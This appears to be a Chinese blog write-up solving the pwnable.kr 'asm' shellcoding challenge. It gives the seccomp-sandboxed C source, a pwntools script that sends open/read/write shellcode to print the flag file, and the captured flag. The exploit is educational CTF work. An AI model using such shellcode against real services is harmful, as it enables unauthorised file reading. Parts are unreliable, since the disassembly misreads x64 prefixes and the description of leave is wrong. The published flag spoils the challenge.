您的位置:首页 > 其它

pwnable.kr 之asm

2017-04-30 16:45 239 查看
一个真正的高手应该学会写shellcode.

首先查看c代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);

alarm(10);
chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}


hint:写出你的64位shellcode代码.

once you connect to port 9026, the “asm” binary will be executed under asm_pwn privilege.

make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

译文:连接上本地服务器的9026端口,asm程序正在运行,过了这个程序就可以拿到flag,flag所在的文件是:this_is_pwnable.kr_flag_file_please_read_this_file.sorry_

the_file_name_is_very_looooooooooooooooooooooooooooooo

ooooooooooooooooooooooooooooooooooooooooooooo00000

00000000000000000000ooooooooooooooooooooooo0000000000

00o0o0o0o0o0o0ong.

分析:

看代码可以知道程序分配了0x1000的内存给sh指针,然后将这段内存清空,将寄存器清空的代码填入:

>>> from pwn import *
>>> print disasm("\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9
>\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d
>\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31
>\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff")
0:   48                      dec    eax
1:   31 c0                   xor    eax,eax
3:   48                      dec    eax
4:   31 db                   xor    ebx,ebx
6:   48                      dec    eax
7:   31 c9                   xor    ecx,ecx
9:   48                      dec    eax
a:   31 d2                   xor    edx,edx
c:   48                      dec    eax
d:   31 f6                   xor    esi,esi
f:   48                      dec    eax
10:   31 ff                   xor    edi,edi
12:   48                      dec    eax
13:   31 ed                   xor    ebp,ebp
15:   4d                      dec    ebp
16:   31 c0                   xor    eax,eax
18:   4d                      dec    ebp
19:   31 c9                   xor    ecx,ecx
1b:   4d                      dec    ebp
1c:   31 d2                   xor    edx,edx
1e:   4d                      dec    ebp
1f:   31 db                   xor    ebx,ebx
21:   4d                      dec    ebp
22:   31 e4                   xor    esp,esp
24:   4d                      dec    ebp
25:   31 ed                   xor    ebp,ebp
27:   4d                      dec    ebp
28:   31 f6                   xor    esi,esi
2a:   4d                      dec    ebp
2b:   31 ff                   xor    edi,edi


由于沙盒只允许运行open、read、write函数,所以我们可以使用x64的rax, rsp寄存器存放我们需要的内容然后输出到标准输出流,可以使用pwntools生成shellcode.

shellcode:

from pwn import *

con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)
context(arch='amd64', os='linux')
shellcode = ''
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')

shellcode += shellcraft.open('rsp', 0, 0)     #字符串存在了栈rsp上面,open函数打开该文件
shellcode += shellcraft.read('rax', 'rsp', 100)#读取100个字节长度到缓冲区中,这里是到rsp中
shellcode += shellcraft.write(1, 'rsp', 100)   #linux下0--->stdin,1--->stdout,2--->stderr.write(1,'rsp',100)相当于将缓冲区中的内容输出
# log.info(shellcode)
p.recvuntil('shellcode: ')
print (shellcode+'\n')
p.send(asm(shellcode))
log.success(p.recvline())


结果:

root@kaliSevie:~/Desktop# python a.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] asm@pwnable.kr:
Distro    Ubuntu 16.04
OS:       linux
Arch:     amd64
Version:  4.10.0
ASLR:     Enabled
[+] Connecting to localhost:9026 via SSH to pwnable.kr: Done
[+] Mak1ng_shelLcodE_i5_veRy_eaSy
[*] Closed remote connection to localhost:9026 via SSH connection to pwnable.kr


这是第一次接触到shellcode,写得不对的地方,还请大家指正.

再说一点其他,汇编中leave,ret.

leave:esp=ebp+8,ebp=[ebp]

ret:eip=[esp],esp=esp+8

注:环境linux 32bit,其他环境没尝试过.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  pwn